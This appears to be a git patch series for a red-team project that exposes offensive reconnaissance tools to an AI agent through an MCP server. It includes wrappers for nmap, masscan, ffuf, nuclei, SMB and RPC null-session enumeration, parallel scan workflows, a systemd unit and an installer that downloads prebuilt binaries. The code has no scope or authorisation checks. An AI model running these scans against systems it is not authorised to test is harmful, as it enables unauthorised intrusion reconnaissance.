str, + method: str = "GET", + wordlist: str | None = None, +) -> dict: + wl = wordlist or DEFAULT_WORDLISTS.get("x8", "/usr/share/wordlists/x8/params.txt") + cmd = [ + _binary("x8"), + "-u", target, + "-X", method, + "-w", wl, + "--output-format", "json", + ] + raw = await run(cmd, timeout=TOOLS["x8"].default_timeout) + return parsers.parse_x8(raw, target) + + +async def paramspider_impl(target: str, level: int = 2) -> dict: + # paramspider ignores stdout and writes to results/ by default; use + # --quiet --output to pipe a file we can read. + with tempfile.NamedTemporaryFile( + prefix="ps-", suffix=".txt", delete=False + ) as tf: + out_path = tf.name + try: + cmd = [ + _binary("paramspider"), + "-d", target, + "-l", str(level), + "-o", out_path, + "--quiet", + ] + raw = await run(cmd, timeout=TOOLS["paramspider"].default_timeout) + try: + with open(out_path, "rb") as fh: + raw.stdout = fh.read() + except FileNotFoundError: + pass + return parsers.parse_paramspider(raw, target) + finally: + try: + os.unlink(out_path) + except OSError: + pass + + +async def ffuf_impl( + target: str, + mode: str = "content", + method: str = "GET", + wordlist: str | None = None, +) -> dict: + """mode: 'content' (FUZZ in URL) or 'parameter' (FUZZ as POST body).""" + wl = wordlist or DEFAULT_WORDLISTS.get("ffuf", "/usr/share/seclists/Discovery/Web-Content/common.txt") + if mode == "parameter": + cmd = [ + _binary("ffuf"), + "-u", target, + "-X", method, + "-d", "FUZZ=test", + "-w", wl, + "-mc", "200,204,301,302,307,401,403", + "-of", "json", "-o", "-", + ] + else: + url = target if "FUZZ" in target else target.rstrip("/") + "/FUZZ" + cmd = [ + _binary("ffuf"), + "-u", url, + "-w", wl, + "-of", "json", "-o", "-", + "-mc", "200,204,301,302,307,401,403", + ] + raw = await run(cmd, timeout=TOOLS["ffuf"].default_timeout) + return parsers.parse_ffuf(raw, target) diff --git a/red_agent/kali_mcp_server/tools/network.py b/red_agent/kali_mcp_server/tools/network.py new file mode 100644 index 000000000..d1467d6f6 --- /dev/null +++ b/red_agent/kali_mcp_server/tools/network.py @@ -0,0 +1,135 @@ +"""Network discovery tool wrappers. + +arp-scan, rustscan, nmap-advanced, masscan, enum4linux-ng, nbtscan, smbmap, +rpcclient. Each is an independent subprocess β€” no sequential chain. +""" + +from __future__ import annotations + +from .. import parsers +from ..config import TOOLS +from ..runner import run + + +def _binary(name: str) -> str: + spec = TOOLS[name] + resolved = spec.resolve() + if not resolved: + raise RuntimeError(f"{name} not installed (run install.sh)") + return resolved + + +async def arp_scan_impl(cidr: str | None = None, local_network: bool = True) -> dict: + cmd = [_binary("arp-scan"), "-q"] + if local_network and not cidr: + cmd.append("--localnet") + else: + cmd.append(cidr or "--localnet") + raw = await run(cmd, timeout=TOOLS["arp-scan"].default_timeout) + return parsers.parse_arp_scan(raw, cidr or "localnet") + + +async def rustscan_impl( + target: str, + ulimit: int = 5000, + scripts: bool = False, +) -> dict: + cmd = [ + _binary("rustscan"), + "-a", target, + "--ulimit", str(ulimit), + "--no-config", + "--greppable", + ] + if not scripts: + cmd.append("--scripts") + cmd.append("None") + raw = await run(cmd, timeout=TOOLS["rustscan"].default_timeout) + return parsers.parse_rustscan(raw, target) + + +async def nmap_advanced_impl( + target: str, + scan_type: str = "-sS", + os_detection: bool = True, + version_detection: bool = True, +) -> dict: + cmd = [_binary("nmap"), *scan_type.split()] + if os_detection: + cmd.append("-O") + if version_detection: + cmd.append("-sV") + cmd += ["-oX", "-", target] + raw = await run(cmd, timeout=TOOLS["nmap"].default_timeout) + out = parsers.parse_nmap(raw, target) + out["tool"] = "nmap-advanced" + return out + + +async def masscan_impl( + target: str, + rate: int = 1000, + ports: str = "1-65535", + banners: bool = True, +) -> dict: + cmd = [ + _binary("masscan"), + target, + "-p", ports, + "--rate", str(rate), + "-oJ", "-", + ] + if banners: + cmd.append("--banners") + raw = await run(cmd, timeout=TOOLS["masscan"].default_timeout) + return parsers.parse_masscan(raw, target) + + +async def enum4linux_ng_impl( + target: str, + shares: bool = True, + users: bool = True, + groups: bool = True, +) -> dict: + cmd = [_binary("enum4linux-ng"), "-oJ", "-"] + if shares: + cmd.append("-S") + if users: + cmd.append("-U") + if groups: + cmd.append("-G") + cmd.append(target) + raw = await run(cmd, timeout=TOOLS["enum4linux-ng"].default_timeout) + return parsers.parse_enum4linux_ng(raw, target) + + +async def nbtscan_impl(target: str, verbose: bool = True) -> dict: + cmd = [_binary("nbtscan")] + if verbose: + cmd.append("-v") + cmd.append(target) + raw = await run(cmd, timeout=TOOLS["nbtscan"].default_timeout) + return parsers.parse_nbtscan(raw, target) + + +async def smbmap_impl(target: str, recursive: bool = True) -> dict: + cmd = [_binary("smbmap"), "-H", target] + if recursive: + cmd += ["-R", "--depth", "2"] + raw = await run(cmd, timeout=TOOLS["smbmap"].default_timeout) + return parsers.parse_smbmap(raw, target) + + +async def rpcclient_impl( + target: str, + commands: str = "enumdomusers;enumdomgroups;querydominfo", +) -> dict: + cmd = [ + _binary("rpcclient"), + "-U", "", + "-N", + "-c", commands, + target, + ] + raw = await run(cmd, timeout=TOOLS["rpcclient"].default_timeout) + return parsers.parse_rpcclient(raw, target) diff --git a/red_agent/kali_mcp_server/tools/recon.py b/red_agent/kali_mcp_server/tools/recon.py new file mode 100644 index 000000000..8b4117ed1 --- /dev/null +++ b/red_agent/kali_mcp_server/tools/recon.py @@ -0,0 +1,122 @@ +"""Web reconnaissance tool wrappers. + +Each `*_impl` is a pure coroutine that spawns the binary, parses output, and +returns the normalized dict. The MCP-facing layer in `server.py` wraps these +in `jobs.submit()` so they run as independent tasks. +""" + +from __future__ import annotations + +from loguru import logger + +from .. import parsers +from ..config import DEFAULT_WORDLISTS, TOOLS +from ..runner import run + + +def _binary(name: str) -> str: + spec = TOOLS[name] + resolved = spec.resolve() + if not resolved: + raise RuntimeError(f"{name} not installed (run install.sh)") + return resolved + + +async def nmap_impl( + target: str, + scan_type: str = "-sV -sC", + ports: str = "80,443,8080,8443", +) -> dict: + cmd = [_binary("nmap"), *scan_type.split(), "-p", ports, "-oX", "-", target] + raw = await run(cmd, timeout=TOOLS["nmap"].default_timeout) + return parsers.parse_nmap(raw, target) + + +async def httpx_impl( + target: str, + probe: bool = True, + tech_detect: bool = True, +) -> dict: + cmd = [_binary("httpx"), "-u", target, "-json", "-silent"] + if probe: + cmd.append("-probe") + if tech_detect: + cmd.append("-tech-detect") + cmd += ["-status-code", "-title", "-web-server", "-content-length"] + raw = await run(cmd, timeout=TOOLS["httpx"].default_timeout) + return parsers.parse_httpx(raw, target) + + +async def katana_impl( + target: str, + depth: int = 3, + js_crawl: bool = True, +) -> dict: + cmd = [_binary("katana"), "-u", target, "-d", str(depth), "-jsonl", "-silent"] + if js_crawl: + cmd.append("-jc") + raw = await run(cmd, timeout=TOOLS["katana"].default_timeout) + return parsers.parse_katana(raw, target) + + +async def gau_impl(target: str, include_subs: bool = True) -> dict: + cmd = [_binary("gau"), target] + if include_subs: + cmd.append("--subs") + raw = await run(cmd, timeout=TOOLS["gau"].default_timeout) + return parsers.parse_gau(raw, target) + + +async def waybackurls_impl(target: str) -> dict: + cmd = [_binary("waybackurls"), target] + raw = await run(cmd, timeout=TOOLS["waybackurls"].default_timeout) + return parsers.parse_waybackurls(raw, target) + + +async def nuclei_impl( + target: str, + severity: str = "critical,high", + tags: str | None = None, +) -> dict: + cmd = [ + _binary("nuclei"), "-u", target, "-jsonl", "-silent", + "-severity", severity, + ] + if tags: + cmd += ["-tags", tags] + raw = await run(cmd, timeout=TOOLS["nuclei"].default_timeout) + return parsers.parse_nuclei(raw, target) + + +async def dirsearch_impl( + target: str, + extensions: str = "php,html,js,txt", + threads: int = 30, +) -> dict: + cmd = [ + _binary("dirsearch"), "-u", target, + "-e", extensions, "-t", str(threads), "--quiet", + "--format=plain", + ] + wordlist = DEFAULT_WORDLISTS.get("dirsearch") + if wordlist: + cmd += ["-w", wordlist] + raw = await run(cmd, timeout=TOOLS["dirsearch"].default_timeout) + return parsers.parse_dirsearch(raw, target) + + +async def gobuster_impl( + target: str, + mode: str = "dir", + extensions: str = "php,html,js,txt", +) -> dict: + wordlist = DEFAULT_WORDLISTS.get("gobuster", "/usr/share/wordlists/dirb/common.txt") + cmd = [ + _binary("gobuster"), mode, + "-u", target, + "-w", wordlist, + "-x", extensions, + "-q", "--no-error", + ] + raw = await run(cmd, timeout=TOOLS["gobuster"].default_timeout) + return parsers.parse_gobuster(raw, target) diff --git a/red_agent/kali_mcp_server/workflows.py b/red_agent/kali_mcp_server/workflows.py new file mode 100644 index 000000000..ccadc55cd --- /dev/null +++ b/red_agent/kali_mcp_server/workflows.py @@ -0,0 +1,122 @@ +"""Parallel fan-out playbooks. + +A workflow is a convenience multiplexer: it spawns one independent job per +member tool via `jobs.submit()` and returns the list of job handles. No +sequential chaining, no cross-step data flow, no result summarization β€” +the agent polls each job and decides what to do next. + +`wait=True` gathers all jobs and returns raw results in one response. +""" + +from __future__ import annotations + +import asyncio +from typing import Awaitable, Callable + +from loguru import logger + +from . import jobs +from .tools import api as api_tools +from .tools import network as net_tools +from .tools import recon as recon_tools + +ToolCoro = Callable[..., Awaitable[dict]] + + +def _web_members(target: str) -> dict[str, ToolCoro]: + return { + "nmap": lambda: recon_tools.nmap_impl(target), + "httpx": lambda: recon_tools.httpx_impl(target), + "katana": lambda: recon_tools.katana_impl(target), + "gau": lambda: recon_tools.gau_impl(target), + "waybackurls": lambda: recon_tools.waybackurls_impl(target), + "nuclei": lambda: recon_tools.nuclei_impl(target, tags="tech"), + "dirsearch": lambda: recon_tools.dirsearch_impl(target), + "gobuster": lambda: recon_tools.gobuster_impl(target), + } + + +def _api_members(target: str) -> dict[str, ToolCoro]: + return { + "httpx": lambda: recon_tools.httpx_impl(target), + "arjun": lambda: api_tools.arjun_impl(target), + "x8": lambda: api_tools.x8_impl(target), + "paramspider": lambda: api_tools.paramspider_impl(target), + "nuclei": lambda: recon_tools.nuclei_impl(target, tags="api,graphql,jwt"), + "ffuf": lambda: api_tools.ffuf_impl(target, mode="parameter", method="POST"), + } + + +def _network_members(cidr: str) -> dict[str, ToolCoro]: + return { + "arp-scan": lambda: net_tools.arp_scan_impl(cidr=cidr), + "rustscan": lambda: net_tools.rustscan_impl(cidr), + "nmap-advanced": lambda: net_tools.nmap_advanced_impl(cidr), + "masscan": lambda: net_tools.masscan_impl(cidr), + "enum4linux-ng": lambda: net_tools.enum4linux_ng_impl(cidr), + "nbtscan": lambda: net_tools.nbtscan_impl(cidr), + "smbmap": lambda: net_tools.smbmap_impl(cidr), + "rpcclient": lambda: net_tools.rpcclient_impl(cidr), + } + + +WORKFLOW_REGISTRY: dict[str, Callable[[str], dict[str, ToolCoro]]] = { + "web_reconnaissance": _web_members, + "api_testing": _api_members, + "network_discovery": _network_members, +} + + +def _filter(members: dict[str, ToolCoro], + only: list[str] | None, + skip: list[str] | None) -> dict[str, ToolCoro]: + if only: + members = {k: v for k, v in members.items() if k in set(only)} + if skip: + members = {k: v for k, v in members.items() if k not in set(skip)} + return members + + +async def run_workflow( + name: str, + target: str, + *, + wait: bool = False, + only: list[str] | None = None, + skip: list[str] | None = None, +) -> dict: + if name not in WORKFLOW_REGISTRY: + return {"ok": False, "error": f"unknown workflow {name}"} + members = _filter(WORKFLOW_REGISTRY[name](target), only, skip) + logger.info("workflow {} target={} members={}", name, target, list(members)) + + if wait: + coros = [_safe_call(tool_name, factory) for tool_name, factory in members.items()] + results = await asyncio.gather(*coros) + return { + "workflow": name, + "target": target, + "results": results, + } + + submitted = [] + for tool_name, factory in members.items(): + job_id = jobs.submit(tool_name, factory(), extra={"workflow": name}) + submitted.append({"tool": tool_name, "job_id": job_id}) + return { + "workflow": name, + "target": target, + "jobs": submitted, + } + + +async def _safe_call(tool_name: str, factory: ToolCoro) -> dict: + try: + return await factory() + except Exception as exc: + logger.exception("workflow member {} failed", tool_name) + return { + "tool": tool_name, + "ok": False, + "error": f"{type(exc).__name__}: {exc}", + } From ca8d4cae7af8b292e490d57cf30523b26e05231e Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Wed, 15 Apr 2026 22:57:45 +0530 Subject: [PATCH 03/26] refactor(red_arsenal): rename kali_mcp_server to red_arsenal Neutral, vendor-agnostic name that scales as more red-team tooling gets layered on (not Kali-specific). Updates the Python package, env vars (RED_ARSENAL_*), install dir (/opt/red-arsenal), log dir, systemd unit, and FastMCP service name. Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/kali_mcp_server/__init__.py | 3 --- .../kali_mcp_server/systemd/kali-mcp.service | 20 -------------- red_agent/red_arsenal/__init__.py | 3 +++ .../config.py | 6 ++--- .../install.sh | 26 +++++++++---------- .../{kali_mcp_server => red_arsenal}/jobs.py | 0 .../parsers.py | 0 .../requirements.txt | 0 .../runner.py | 0 .../server.py | 8 +++--- .../red_arsenal/systemd/red-arsenal.service | 20 ++++++++++++++ .../tools/__init__.py | 0 .../tools/api.py | 0 .../tools/network.py | 0 .../tools/recon.py | 0 .../workflows.py | 0 16 files changed, 43 insertions(+), 43 deletions(-) delete mode 100644 red_agent/kali_mcp_server/__init__.py delete mode 100644 red_agent/kali_mcp_server/systemd/kali-mcp.service create mode 100644 red_agent/red_arsenal/__init__.py rename red_agent/{kali_mcp_server => red_arsenal}/config.py (94%) rename red_agent/{kali_mcp_server => red_arsenal}/install.sh (66%) rename red_agent/{kali_mcp_server => red_arsenal}/jobs.py (100%) rename red_agent/{kali_mcp_server => red_arsenal}/parsers.py (100%) rename red_agent/{kali_mcp_server => red_arsenal}/requirements.txt (100%) rename red_agent/{kali_mcp_server => red_arsenal}/runner.py (100%) rename red_agent/{kali_mcp_server => red_arsenal}/server.py (98%) create mode 100644 red_agent/red_arsenal/systemd/red-arsenal.service rename red_agent/{kali_mcp_server => red_arsenal}/tools/__init__.py (100%) rename red_agent/{kali_mcp_server => red_arsenal}/tools/api.py (100%) rename red_agent/{kali_mcp_server => red_arsenal}/tools/network.py (100%) rename red_agent/{kali_mcp_server => red_arsenal}/tools/recon.py (100%) rename red_agent/{kali_mcp_server => red_arsenal}/workflows.py (100%) diff --git a/red_agent/kali_mcp_server/__init__.py b/red_agent/kali_mcp_server/__init__.py deleted file mode 100644 index 5df14901d..000000000 --- a/red_agent/kali_mcp_server/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -"""Kali MCP Server β€” thin parallel passthrough over Kali offensive tools.""" - -__version__ = "0.1.0" diff --git a/red_agent/kali_mcp_server/systemd/kali-mcp.service b/red_agent/kali_mcp_server/systemd/kali-mcp.service deleted file mode 100644 index 44da6c5c1..000000000 --- a/red_agent/kali_mcp_server/systemd/kali-mcp.service +++ /dev/null @@ -1,20 +0,0 @@ -[Unit] -Description=Kali MCP Server (FastMCP SSE on :8765) -After=network-online.target -Wants=network-online.target - -[Service] -Type=simple -WorkingDirectory=/opt/kali-mcp -Environment=PYTHONUNBUFFERED=1 -Environment=KALI_MCP_HOST=0.0.0.0 -Environment=KALI_MCP_PORT=8765 -Environment=PATH=/opt/kali-mcp/.venv/bin:/root/go/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -ExecStart=/opt/kali-mcp/.venv/bin/python -m kali_mcp_server.server -Restart=on-failure -RestartSec=3 -StandardOutput=append:/var/log/kali-mcp/server.log -StandardError=append:/var/log/kali-mcp/server.err - -[Install] -WantedBy=multi-user.target diff --git a/red_agent/red_arsenal/__init__.py b/red_agent/red_arsenal/__init__.py new file mode 100644 index 000000000..2a560def6 --- /dev/null +++ b/red_agent/red_arsenal/__init__.py @@ -0,0 +1,3 @@ +"""Red Arsenal β€” MCP server exposing offensive security tools to the red agent.""" + +__version__ = "0.1.0" diff --git a/red_agent/kali_mcp_server/config.py b/red_agent/red_arsenal/config.py similarity index 94% rename from red_agent/kali_mcp_server/config.py rename to red_agent/red_arsenal/config.py index c3af467d4..20ef53e53 100644 --- a/red_agent/kali_mcp_server/config.py +++ b/red_agent/red_arsenal/config.py @@ -6,9 +6,9 @@ import shutil from dataclasses import dataclass, field -HOST = os.environ.get("KALI_MCP_HOST", "0.0.0.0") -PORT = int(os.environ.get("KALI_MCP_PORT", "8765")) -LOG_DIR = os.environ.get("KALI_MCP_LOG_DIR", "/var/log/kali-mcp") +HOST = os.environ.get("RED_ARSENAL_HOST", "0.0.0.0") +PORT = int(os.environ.get("RED_ARSENAL_PORT", "8765")) +LOG_DIR = os.environ.get("RED_ARSENAL_LOG_DIR", "/var/log/red-arsenal") DEFAULT_TIMEOUT = 600 LONG_TIMEOUT = 1800 diff --git a/red_agent/kali_mcp_server/install.sh b/red_agent/red_arsenal/install.sh similarity index 66% rename from red_agent/kali_mcp_server/install.sh rename to red_agent/red_arsenal/install.sh index 1fb17c20b..50b3471de 100644 --- a/red_agent/kali_mcp_server/install.sh +++ b/red_agent/red_arsenal/install.sh @@ -1,13 +1,13 @@ #!/usr/bin/env bash # -# Install the Kali MCP server + all tool binaries on a fresh Kali VM. +# Install the Red Arsenal MCP server + all tool binaries on a fresh Kali VM. # Run as a normal user with sudo rights. Idempotent β€” safe to re-run. set -euo pipefail REPO_ROOT="$(cd "$(dirname "$0")/../.." && pwd)" -SRC_DIR="$REPO_ROOT/red_agent/kali_mcp_server" -INSTALL_DIR="/opt/kali-mcp" +SRC_DIR="$REPO_ROOT/red_agent/red_arsenal" +INSTALL_DIR="/opt/red-arsenal" echo "[*] apt packages" sudo apt update @@ -40,12 +40,12 @@ echo "[*] Rust tooling via cargo" cargo install rustscan || true cargo install x8 || true -echo "[*] Deploy MCP server to ${INSTALL_DIR}" -# The package is deployed as a top-level `kali_mcp_server` so the server -# module resolves as `python -m kali_mcp_server.server` on Kali, independent -# of the repo's red_agent/ nesting. +echo "[*] Deploy Red Arsenal to ${INSTALL_DIR}" +# The package is deployed as a top-level `red_arsenal` so the server module +# resolves as `python -m red_arsenal.server` on Kali, independent of the +# repo's red_agent/ nesting. sudo mkdir -p "$INSTALL_DIR" -sudo rsync -a --delete "$SRC_DIR/" "$INSTALL_DIR/kali_mcp_server/" +sudo rsync -a --delete "$SRC_DIR/" "$INSTALL_DIR/red_arsenal/" sudo cp "$SRC_DIR/requirements.txt" "$INSTALL_DIR/requirements.txt" sudo python3 -m venv "$INSTALL_DIR/.venv" @@ -53,10 +53,10 @@ sudo "$INSTALL_DIR/.venv/bin/pip" install --upgrade pip sudo "$INSTALL_DIR/.venv/bin/pip" install -r "$INSTALL_DIR/requirements.txt" echo "[*] systemd unit" -sudo cp "$SRC_DIR/systemd/kali-mcp.service" /etc/systemd/system/kali-mcp.service -sudo mkdir -p /var/log/kali-mcp +sudo cp "$SRC_DIR/systemd/red-arsenal.service" /etc/systemd/system/red-arsenal.service +sudo mkdir -p /var/log/red-arsenal sudo systemctl daemon-reload -sudo systemctl enable kali-mcp -sudo systemctl restart kali-mcp +sudo systemctl enable red-arsenal +sudo systemctl restart red-arsenal -echo "[+] Done. Tail the log with: sudo journalctl -u kali-mcp -f" +echo "[+] Done. Tail the log with: sudo journalctl -u red-arsenal -f" diff --git a/red_agent/kali_mcp_server/jobs.py b/red_agent/red_arsenal/jobs.py similarity index 100% rename from red_agent/kali_mcp_server/jobs.py rename to red_agent/red_arsenal/jobs.py diff --git a/red_agent/kali_mcp_server/parsers.py b/red_agent/red_arsenal/parsers.py similarity index 100% rename from red_agent/kali_mcp_server/parsers.py rename to red_agent/red_arsenal/parsers.py diff --git a/red_agent/kali_mcp_server/requirements.txt b/red_agent/red_arsenal/requirements.txt similarity index 100% rename from red_agent/kali_mcp_server/requirements.txt rename to red_agent/red_arsenal/requirements.txt diff --git a/red_agent/kali_mcp_server/runner.py b/red_agent/red_arsenal/runner.py similarity index 100% rename from red_agent/kali_mcp_server/runner.py rename to red_agent/red_arsenal/runner.py diff --git a/red_agent/kali_mcp_server/server.py b/red_agent/red_arsenal/server.py similarity index 98% rename from red_agent/kali_mcp_server/server.py rename to red_agent/red_arsenal/server.py index 2906197f8..755d286da 100644 --- a/red_agent/kali_mcp_server/server.py +++ b/red_agent/red_arsenal/server.py @@ -6,7 +6,7 @@ Run on the Kali VM: - python -m kali_mcp_server.server + python -m red_arsenal.server """ from __future__ import annotations @@ -25,7 +25,7 @@ from .tools import recon as recon_tools from .workflows import run_workflow -mcp = FastMCP(name="kali-mcp-server") +mcp = FastMCP(name="red-arsenal") # ---------- Helper: submit-or-wait ------------------------------------- @@ -365,11 +365,11 @@ async def server_stats() -> dict: @mcp.tool() async def ping() -> dict: """Liveness check.""" - return {"ok": True, "service": "kali-mcp-server"} + return {"ok": True, "service": "red-arsenal"} def main() -> None: - logger.info("kali-mcp-server starting on {}:{}", HOST, PORT) + logger.info("red-arsenal starting on {}:{}", HOST, PORT) mcp.run(transport="sse", host=HOST, port=PORT) diff --git a/red_agent/red_arsenal/systemd/red-arsenal.service b/red_agent/red_arsenal/systemd/red-arsenal.service new file mode 100644 index 000000000..489b2ecb0 --- /dev/null +++ b/red_agent/red_arsenal/systemd/red-arsenal.service @@ -0,0 +1,20 @@ +[Unit] +Description=Red Arsenal MCP Server (FastMCP SSE on :8765) +After=network-online.target +Wants=network-online.target + +[Service] +Type=simple +WorkingDirectory=/opt/red-arsenal +Environment=PYTHONUNBUFFERED=1 +Environment=RED_ARSENAL_HOST=0.0.0.0 +Environment=RED_ARSENAL_PORT=8765 +Environment=PATH=/opt/red-arsenal/.venv/bin:/root/go/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ExecStart=/opt/red-arsenal/.venv/bin/python -m red_arsenal.server +Restart=on-failure +RestartSec=3 +StandardOutput=append:/var/log/red-arsenal/server.log +StandardError=append:/var/log/red-arsenal/server.err + +[Install] +WantedBy=multi-user.target diff --git a/red_agent/kali_mcp_server/tools/__init__.py b/red_agent/red_arsenal/tools/__init__.py similarity index 100% rename from red_agent/kali_mcp_server/tools/__init__.py rename to red_agent/red_arsenal/tools/__init__.py diff --git a/red_agent/kali_mcp_server/tools/api.py b/red_agent/red_arsenal/tools/api.py similarity index 100% rename from red_agent/kali_mcp_server/tools/api.py rename to red_agent/red_arsenal/tools/api.py diff --git a/red_agent/kali_mcp_server/tools/network.py b/red_agent/red_arsenal/tools/network.py similarity index 100% rename from red_agent/kali_mcp_server/tools/network.py rename to red_agent/red_arsenal/tools/network.py diff --git a/red_agent/kali_mcp_server/tools/recon.py b/red_agent/red_arsenal/tools/recon.py similarity index 100% rename from red_agent/kali_mcp_server/tools/recon.py rename to red_agent/red_arsenal/tools/recon.py diff --git a/red_agent/kali_mcp_server/workflows.py b/red_agent/red_arsenal/workflows.py similarity index 100% rename from red_agent/kali_mcp_server/workflows.py rename to red_agent/red_arsenal/workflows.py From 3f0359e6f5281b59d05f5b5bb881e15eeb003198 Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Wed, 15 Apr 2026 23:55:45 +0530 Subject: [PATCH 04/26] fix(red_arsenal): use prebuilt binaries instead of go/cargo compilation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Go compilation of httpx/nuclei/etc was OOM-killing Kali VMs with <3GB RAM. Switched to downloading precompiled release binaries from GitHub β€” drops install time from ~15min to ~30s and uses essentially no RAM. Adds --skip-binaries and --skip-apt flags for faster iteration on the Python server without re-running tool downloads. Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/red_arsenal/install.sh | 177 +++++++++++++++++++++++++------ 1 file changed, 144 insertions(+), 33 deletions(-) diff --git a/red_agent/red_arsenal/install.sh b/red_agent/red_arsenal/install.sh index 50b3471de..d849ea270 100644 --- a/red_agent/red_arsenal/install.sh +++ b/red_agent/red_arsenal/install.sh @@ -1,55 +1,166 @@ #!/usr/bin/env bash # # Install the Red Arsenal MCP server + all tool binaries on a fresh Kali VM. -# Run as a normal user with sudo rights. Idempotent β€” safe to re-run. +# +# Downloads *prebuilt* binaries from GitHub releases β€” no `go install` or +# `cargo install`, so this runs in <1 minute and needs essentially no RAM. +# +# Flags: +# --skip-binaries skip the github-release downloads (iterate on server only) +# --skip-apt skip apt update/install +# +# Safe to re-run. set -euo pipefail +SKIP_BINARIES=0 +SKIP_APT=0 +for arg in "$@"; do + case "$arg" in + --skip-binaries) SKIP_BINARIES=1 ;; + --skip-apt) SKIP_APT=1 ;; + -h|--help) + sed -n '2,13p' "$0"; exit 0 ;; + *) echo "unknown flag: $arg" >&2; exit 2 ;; + esac +done + REPO_ROOT="$(cd "$(dirname "$0")/../.." && pwd)" SRC_DIR="$REPO_ROOT/red_agent/red_arsenal" INSTALL_DIR="/opt/red-arsenal" +BIN_DIR="/usr/local/bin" +ARCH="linux_amd64" -echo "[*] apt packages" -sudo apt update -sudo apt install -y \ - python3 python3-venv python3-pip pipx \ - golang-go cargo \ - nmap masscan arp-scan \ - gobuster ffuf nikto \ - enum4linux-ng nbtscan smbmap \ - samba-common-bin - -echo "[*] ProjectDiscovery Go tools" -export PATH="$PATH:$HOME/go/bin" -for tool in \ - github.com/projectdiscovery/httpx/cmd/httpx@latest \ - github.com/projectdiscovery/katana/cmd/katana@latest \ - github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest \ - github.com/lc/gau/v2/cmd/gau@latest \ - github.com/tomnomnom/waybackurls@latest ; do - go install "$tool" -done -nuclei -update-templates || true +# ---------------------------------------------------------------- helpers + +fetch_github_release() { + # fetch_github_release OWNER REPO ASSET_PATTERN BIN_NAME + # + # Finds the latest release, grabs the asset whose filename contains + # ASSET_PATTERN, extracts the binary BIN_NAME, and installs it to + # /usr/local/bin. Handles .zip and .tar.gz archives. + local owner=$1 repo=$2 pattern=$3 binname=$4 + + if command -v "$binname" >/dev/null 2>&1; then + echo " [skip] $binname already installed at $(command -v "$binname")" + return 0 + fi + + echo " [+] $owner/$repo ($pattern)" + local api="https://api.github.com/repos/$owner/$repo/releases/latest" + local url + url=$(curl -fsSL "$api" \ + | grep -oE '"browser_download_url"[[:space:]]*:[[:space:]]*"[^"]+"' \ + | cut -d'"' -f4 \ + | grep -iE "$pattern" \ + | head -1 || true) + if [[ -z "$url" ]]; then + echo " [!] no asset matching '$pattern' for $owner/$repo β€” skipping" >&2 + return 0 + fi + + local tmp + tmp=$(mktemp -d) + local pkg="$tmp/pkg" + curl -fsSL -o "$pkg" "$url" + + case "$url" in + *.zip) + unzip -q -o "$pkg" -d "$tmp" + ;; + *.tar.gz|*.tgz) + tar -xzf "$pkg" -C "$tmp" + ;; + *) + # Single binary, no archive + cp "$pkg" "$tmp/$binname" + ;; + esac + + local found + found=$(find "$tmp" -type f -name "$binname" ! -name "*.zip" ! -name "*.tar.gz" | head -1 || true) + if [[ -z "$found" ]]; then + # Fallback: some archives put the binary under a weird subdir name + found=$(find "$tmp" -type f -executable ! -name "pkg" | head -1 || true) + fi + if [[ -z "$found" ]]; then + echo " [!] could not find binary '$binname' in $url" >&2 + rm -rf "$tmp" + return 0 + fi + + sudo install -m 0755 "$found" "$BIN_DIR/$binname" + rm -rf "$tmp" + echo " [+] installed $BIN_DIR/$binname" +} + +# ---------------------------------------------------------------- apt + +if [[ $SKIP_APT -eq 0 ]]; then + echo "[*] apt packages" + sudo apt update + sudo apt install -y \ + python3 python3-venv python3-pip pipx \ + curl unzip tar \ + nmap masscan arp-scan \ + gobuster ffuf nikto \ + enum4linux-ng nbtscan smbmap \ + samba-common-bin +else + echo "[*] apt: skipped" +fi + +# ---------------------------------------------------------------- prebuilt binaries + +if [[ $SKIP_BINARIES -eq 0 ]]; then + echo "[*] Prebuilt binaries from GitHub releases" + + # ProjectDiscovery β€” all publish ${tool}_${version}_${ARCH}.zip + fetch_github_release projectdiscovery httpx "${ARCH}\\.zip$" httpx + fetch_github_release projectdiscovery katana "${ARCH}\\.zip$" katana + fetch_github_release projectdiscovery nuclei "${ARCH}\\.zip$" nuclei + + # tomnomnom / lc + fetch_github_release lc gau "${ARCH}\\.tar\\.gz$" gau + fetch_github_release tomnomnom waybackurls "linux-amd64.*\\.tgz$" waybackurls + + # Rust tools that publish prebuilt releases + fetch_github_release RustScan RustScan "amd64\\.deb$" rustscan_pkg || true + if [[ -f "$BIN_DIR/rustscan_pkg" ]]; then + sudo dpkg -i "$BIN_DIR/rustscan_pkg" || true + sudo rm -f "$BIN_DIR/rustscan_pkg" + fi + fetch_github_release Sh1Yo x8 "x86_64.*linux.*\\.tar\\.gz$|linux.*\\.zip$" x8 + + # Update nuclei templates (small, fast) + if command -v nuclei >/dev/null 2>&1; then + nuclei -update-templates -silent || true + fi +else + echo "[*] Prebuilt binaries: skipped" +fi + +# ---------------------------------------------------------------- python tools via pipx echo "[*] Python tooling via pipx" -pipx install arjun || pipx upgrade arjun -pipx install paramspider || pipx upgrade paramspider -pipx install dirsearch || pipx upgrade dirsearch +pipx install arjun 2>/dev/null || pipx upgrade arjun || true +pipx install paramspider 2>/dev/null || pipx upgrade paramspider || true +pipx install dirsearch 2>/dev/null || pipx upgrade dirsearch || true +pipx ensurepath >/dev/null 2>&1 || true -echo "[*] Rust tooling via cargo" -cargo install rustscan || true -cargo install x8 || true +# ---------------------------------------------------------------- deploy server echo "[*] Deploy Red Arsenal to ${INSTALL_DIR}" -# The package is deployed as a top-level `red_arsenal` so the server module -# resolves as `python -m red_arsenal.server` on Kali, independent of the -# repo's red_agent/ nesting. +# Deployed as top-level `red_arsenal` so `python -m red_arsenal.server` +# resolves on Kali, independent of the repo's red_agent/ nesting. sudo mkdir -p "$INSTALL_DIR" sudo rsync -a --delete "$SRC_DIR/" "$INSTALL_DIR/red_arsenal/" sudo cp "$SRC_DIR/requirements.txt" "$INSTALL_DIR/requirements.txt" -sudo python3 -m venv "$INSTALL_DIR/.venv" -sudo 